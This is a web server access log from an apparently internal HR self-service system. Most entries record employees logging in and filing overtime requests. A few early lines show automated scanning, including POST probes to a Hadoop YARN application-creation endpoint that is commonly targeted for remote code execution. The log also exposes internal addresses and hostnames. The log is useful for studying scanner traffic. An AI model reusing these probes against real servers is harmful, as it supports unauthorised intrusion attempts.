[04/Dec/2025:17:18:38 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 "-" "Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/)" 100.64.0.1 - - [04/Dec/2025:17:18:38 +0800] "GET /.well-known/security.txt HTTP/1.1" 404 222 100.64.0.1 - - [04/Dec/2025:17:38:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 "-" "Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:17:38:52 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8806 100.64.0.1 - - [04/Dec/2025:17:56:49 +0800] "\x16\x03\x01\x02" 501 206 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:56:49 +0800] "\x16\x03\x01\x02" 501 206 100.64.0.1 - - [04/Dec/2025:17:56:49 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/140.0.0.0 Safari/537.36" 100.64.0.1 - - [04/Dec/2025:17:56:49 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:17:58:34 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:17:58:34 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:58:35 +0800] "\x16\x03\x01" 501 205 "-" "-" 100.64.0.1 - - [04/Dec/2025:17:58:35 +0800] "\x16\x03\x01" 501 205 100.64.0.1 - - [04/Dec/2025:18:07:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:18:07:23 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "python-requests/2.25.1" 100.64.0.1 - - [04/Dec/2025:18:23:33 +0800] "GET / HTTP/1.1" 200 439 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/42.0.2311.135 Safari/537.36 Edge/12.246" 100.64.0.1 - - [04/Dec/2025:18:23:33 +0800] "GET / HTTP/1.1" 200 439 100.64.0.1 - - [04/Dec/2025:18:24:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 "-" "Go-http-client/1.1" 100.64.0.1 - - [04/Dec/2025:18:24:29 +0800] "POST /ws/v1/cluster/apps/new-application HTTP/1.1" 404 232 100.64.0.1 - - [04/Dec/2025:18:25:15 +0800] "GET / HTTP/1.0" 200 439 "-" "Mozilla/5.0 (X11; Ubuntu; Linux x86_64; rv:71.0) Gecko/20100101 Firefox/71.0" 100.64.0.1 - - [04/Dec/2025:18:25:15 +0800] "GET / HTTP/1.0" 200 439 192.168.11.151 - - [04/Dec/2025:18:28:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:28:17 +0800] "GET /eHR/ess/index.php?action=logout HTTP/1.1" 200 8826 192.168.11.151 - - [04/Dec/2025:18:28:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:28:22 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.11.151 - - [04/Dec/2025:18:28:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://192.168.1.83:8088/eHR/ess/index.php?action=logout" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:28:23 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.11.151 - - [04/Dec/2025:18:28:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:28:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.11.151 - - [04/Dec/2025:18:28:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:28:31 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:29:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23642590452873202 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:29:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23642590452873202 HTTP/1.1" 200 8468 192.168.11.151 - - [04/Dec/2025:18:29:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23642590452873202 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23642590452873202" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:29:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.23642590452873202 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:29:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4285 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:29:53 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4285 192.168.11.151 - - [04/Dec/2025:18:29:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:29:57 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:30:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06958417252189775 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:30:15 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06958417252189775 HTTP/1.1" 200 8468 192.168.11.151 - - [04/Dec/2025:18:30:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06958417252189775 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06958417252189775" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:30:18 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.06958417252189775 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:30:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:30:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4069 192.168.11.151 - - [04/Dec/2025:18:30:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:30:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:30:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8222010079331878 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:30:51 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8222010079331878 HTTP/1.1" 200 8468 192.168.11.151 - - [04/Dec/2025:18:30:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8222010079331878 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8222010079331878" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:30:52 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.8222010079331878 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:31:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:31:05 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4072 192.168.11.151 - - [04/Dec/2025:18:31:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:31:08 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:31:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5008271773964263 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:31:27 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5008271773964263 HTTP/1.1" 200 8468 192.168.11.151 - - [04/Dec/2025:18:31:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5008271773964263 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5008271773964263" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:31:32 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.5008271773964263 HTTP/1.1" 200 15208 192.168.11.151 - - [04/Dec/2025:18:31:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4283 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:31:48 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4283 192.168.11.151 - - [04/Dec/2025:18:31:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:31:51 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.11.151 - - [04/Dec/2025:18:32:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3529821652199372 HTTP/1.1" 200 8468 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:32:11 +0800] "GET /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3529821652199372 HTTP/1.1" 200 8468 192.168.12.64 - - [04/Dec/2025:18:32:13 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 "-" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:13 +0800] "GET /eHR/ess/index.php HTTP/1.1" 200 8826 192.168.11.151 - - [04/Dec/2025:18:32:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3529821652199372 HTTP/1.1" 200 15208 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3529821652199372" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:32:14 +0800] "POST /eHR/ess/redirect.php?scriptname=emp_lov&openW=Y&rand=0.3529821652199372 HTTP/1.1" 200 15208 192.168.12.64 - - [04/Dec/2025:18:32:16 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:16 +0800] "POST /eHR/ess/includes/login.php HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:32:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 "http://hcp.maglayers.com.cn:8088/eHR/ess/index.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:21 +0800] "GET /eHR/ess/redirect.php HTTP/1.1" 200 8929 192.168.12.64 - - [04/Dec/2025:18:32:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:22 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNH000 HTTP/1.1" 200 10133 192.168.12.64 - - [04/Dec/2025:18:32:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:24 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 6457 192.168.12.64 - - [04/Dec/2025:18:32:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168419 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:26 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA015&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%9F%A5%E8%AF%A2 HTTP/1.1" 200 168419 192.168.11.151 - - [04/Dec/2025:18:32:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4286 "http://192.168.1.83:8088/eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:32:32 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 4286 192.168.11.151 - - [04/Dec/2025:18:32:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 "http://192.168.1.83:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 6.2; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/105.0.0.0 Safari/537.36" 192.168.11.151 - - [04/Dec/2025:18:32:35 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNE001&appdesc=%E6%89%B9%E9%87%8F%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 15271 192.168.12.64 - - [04/Dec/2025:18:32:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:41 +0800] "GET /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 200 12800 192.168.12.64 - - [04/Dec/2025:18:32:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:41 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:32:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:44 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:32:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 138 192.168.12.64 - - [04/Dec/2025:18:32:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:50 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:32:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 140 192.168.12.64 - - [04/Dec/2025:18:32:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:54 +0800] "POST /eHR/ess/redirect.php?scriptname=ajax_overtime&do=GetOverTime HTTP/1.1" 200 28 192.168.12.64 - - [04/Dec/2025:18:32:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:56 +0800] "POST /eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7 HTTP/1.1" 302 - 192.168.12.64 - - [04/Dec/2025:18:32:57 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 "http://hcp.maglayers.com.cn:8088/eHR/ess/redirect.php?scriptname=ESNA014&appdesc=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/142.0.0.0 Safari/537.36" 192.168.12.64 - - [04/Dec/2025:18:32:57 +0800] "GET /eHR/ess/redirect.php?scriptname=page_success&msgtxt=%E5%8A%A0%E7%8F%AD%E7%94%B3%E8%AF%B7%E6%8F%90%E4%BA%A4%E6%88%90%E5%8A%9F%2C%E8%AF%B7%E7%AD%89%E5%BE%85%E4%B8%BB%E7%AE%A1%E7%AD%BE%E6%A0%B8.&target=iframe HTTP/1.1" 200 3112 